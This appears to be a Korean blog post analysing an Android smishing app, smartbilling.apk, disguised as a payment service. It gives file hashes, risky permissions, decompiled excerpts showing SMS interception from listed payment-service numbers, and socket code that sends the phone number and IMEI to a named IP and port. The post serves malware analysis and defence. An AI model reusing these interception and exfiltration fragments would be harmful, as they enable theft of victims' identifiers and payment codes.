아래 내용은 연구 목적으로 작성되었으며, 해당 소스코드를 악의적인 목적으로 사용하는것은 절대 엄금합니다. 악의적으로 사용하여 발생할수 있는 모든 문제는 사용한 사용자에게 있습니다. |
1. 개요
근래에 이슈가 되고있는 스미싱에 사용되는 파일로, 필자가 받은 문자 내용은 아웃백 결재 내역 확인 문자였다. 스미싱에 대한 내용은 경찰청 사이버 테러 대응 센터 신종 모바일 사기 제대로알고 대처하는 방법 ( http://www.netan.go.kr/pop/smishing.html)을 참고하기 바란다.
Filename: | smartbilling.apk |
MD5: | 2d6ff3b040feb910f34175cf7ac1ca0b |
SHA-1: | 97cc713272a4499c5b6b48ef9caa4203d5eacb10 |
File Size: | 492395 Bytes |
API Level: | android:minSdkVersion 8 android:targetVersion 15 |
참고 : API 레벨 정보 (http://developer.android.com/guide/topics/manifest/uses-sdk-element.html)t
2. 분석 내용
smartbilling.apk 파일이 설치가 되면 아래와 같이 모빌리언스 결제 라는 아이콘이 생성된다. 생성된 아이콘을 클릭하여 실행 하면, [현재 접속자가 많아 연결이 되지 않습니다. 잠시 후에 다시 접속하시기 바랍니다.] 란 에러 메시지를 보여준다.
APK 파일 내부에는 아래와 같이 다양한 방식의 APP으로 위장할 때 사용하기 위한 목적의 아이콘이 포함되어 있다.
확인한 API 권한 정보를 정리하면 아래와 같으며, 빨간색으로 표시된 API 권한이 악의적으로 사용될 수 있는 API이다.
User Permission (악성 APP이 요구하는 권한 정보) |
android.permission.RECEIVE_BOOT_COMPLETED android.permission.INTERNET android.permission.ACCESS_NETWORK_STATE android.permission.RECEIVE_MMS android.permission.WAKE_LOCK android.permission.RECEIVE_SMS android.permission.READ_PHONE_STATE android.permission.WRITE_EXTERNAL_STORAGE |
위험 요약 |
APP이 SMS/MMS를 조작 권한 APP이 인터넷에 액세스 권한 APP이 개인 정보에 액세스 권한 |
APP을 디컴바일 한 후 소스파일을 살펴 보면 아래와 같으며, 악의적인 행동을 하는 패키지는 com.cn.smsclient 패키지로 추정된다.
com.cn.smsclient 패키지안에는 MainActivity / CVXAW / Ejifndy / OEWRUvcz 클래스 파일이 존재한다.
[MainActivity 클래스 일부]
package com.cn.smsclient; public class MainActivity extends Activity { public static boolean a = true; public static boolean b = false;
public void onCreate(Bundle paramBundle) { AlarmManager localAlarmManager = (AlarmManager)getSystemService("alarm"); PendingIntent localPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(this, Ejifndv.class), 0); localAlarmManager.setRepeating(3, SystemClock.elapsedRealtime(), 60000L, localPendingIntent);
b = a("jb.gosms");
public boolean onCreateOptionsMenu(Menu paramMenu) { getMenuInflater().inflate(2131165184, paramMenu); return true; } } |
① smartbilling.apk가 제대로 설치되었는지 확인
② 스크린이 꺼지거나, 절전모드로 들어갈때 WiFi 연결은 해제되고, CPU는 SLEEP 상태가 된다.그를 방지하기 위해 WiFiManager/PaweManager를 이용하여, 스크린이 꺼진 후에도 WiFi와 CPU를 활성화 시켜둔다.
③ ①번의 조건이 만족된 상태에서, APP을 실행 시키면 위에서 확인한 Error Code를 보여준다.
[CVXAW 클래스 일부]
|
① Telephonymanager와 getLine1Number Public Methods를 이용하여 전화번호를 획득
② 감시대상 발신 번호 목록 및 SMS 발신 번호 확인(15663355 / 0000 / 00000 / 012400)
③ 발신된 SMS / MMS를 감시하고 있다 ②에서 지정한 번호로 오는 SMS / MMS 내용 저장
[aI 클래스 일부]
|
Telephonymanager과 아래 Public Methods를 이용하여 정보를 획득하여, 126.7.194.82의 2501번 포트로 전송한다.
- getLine1Number를 이용하여, APP이 설치된 스마트폰의 전화번호를 획득
- getNetworkOperratorName을 이용하여,
- getDeviceIDMEID 또는 ESN의 IMEI를 고유 한 장치 ID 획득
확인된 IP 정보는 아래와 같으며, 해당 IP는 현재 차단되어 있는것으로 판단된다.
[aF 클래스]
public final class aF implements Runnable { public String a; // ERROR // public final void run() { // Byte code: // 0: new 17 java/io/BufferedOutputStream // 3: dup // 4: new 19 java/net/Socket // 7: dup // 8: ldc 21 // 10: sipush 4869 // 13: invokespecial 24 java/net/Socket:<init> (Ljava/lang/String;I)V // 16: invokevirtual 28 java/net/Socket:getOutputStream ()Ljava/io/OutputStream; // 19: invokespecial 31 java/io/BufferedOutputStream:<init> (Ljava/io/OutputStream;)V // 22: astore_1 // 23: aload_1 // 24: aload_0 // 25: getfield 33 aF:a Ljava/lang/String; // 28: ldc 35 // 30: invokevirtual 41 java/lang/String:getBytes (Ljava/lang/String;)[B // 33: invokevirtual 45 java/io/BufferedOutputStream:write ([B)V // 36: aload_1 // 37: invokevirtual 48 java/io/BufferedOutputStream:flush ()V // 40: return // 41: astore_3 // 42: return // 43: astore_2 // 44: return // // Exception table: // from to target type // 0 23 41 java/lang/Exception // 23 40 43 java/lang/Exception } } |
Virustotal - Analysis Report 확인
019114 : LG텔레콤 15880184 : 옥션 16000523 : 모빌리언스 15990110 : 11번가 15663355 : 다날 15665701 : G마켓 15880184 : 옥션 15990110 : 11번가 15665701 : G마켓 16001705 : 모빌리언스 15663357 : 다날 16000523 : 모빌리언스 15663355 : 다날 15997474 : 11번가 도서 15663357 : 다날 15991552 : 문자통 16008870 : 피망 15883810 : 한게임 16443333 : 아이템 베이 15448881 : 인포 허브 15445553 : 인포 허브 16443333 : 아이템 베이 16008870 : 피망 15663355 : 다날 15883810 : 한게임 16001705 : 모빌리언스 16000523 : 모빌리언스 16441006 : 서울 신용 평가 정보 15771006 : 서울 신용 평가 정보 15663357 : 다날 15660020 : 엔씨소프트 16001522 : 나이스 신용 평가 정보 15885188 : 꾸민새 네트워크 15883610 : 중앙일보 15885984 : 다우페이 15885412 : 뿌리오 고객센터 16449999 : 국민은행 15992583 : 아이엠페이 15885180 : 넷마블 15992583 : SK M&C 16004748 : 문자 조아 15663315 : 대부도 펜션 빌리지 0220093777 : 문자 나라 0190001813 : 국번 없음 |
* 잘못된 부분이 있으면, 언제든지 댓글 달아주세요~ *
'Analysis' 카테고리의 다른 글
[Android Malware] 롯데리아 쿠폰 위장 (lotteria_cp.apk) 분석 (0) | 2013.04.21 |
---|---|
[Android Malware] 알약 모바일 백신 위장 스미싱 (alyac.apk) 분석 (0) | 2013.04.21 |
PingTunneling 패킷 분석 (0) | 2013.01.30 |
기본적인 HTTP Packet 분석 (0) | 2013.01.30 |
기본적인 SMTP Packet 분석 (0) | 2013.01.30 |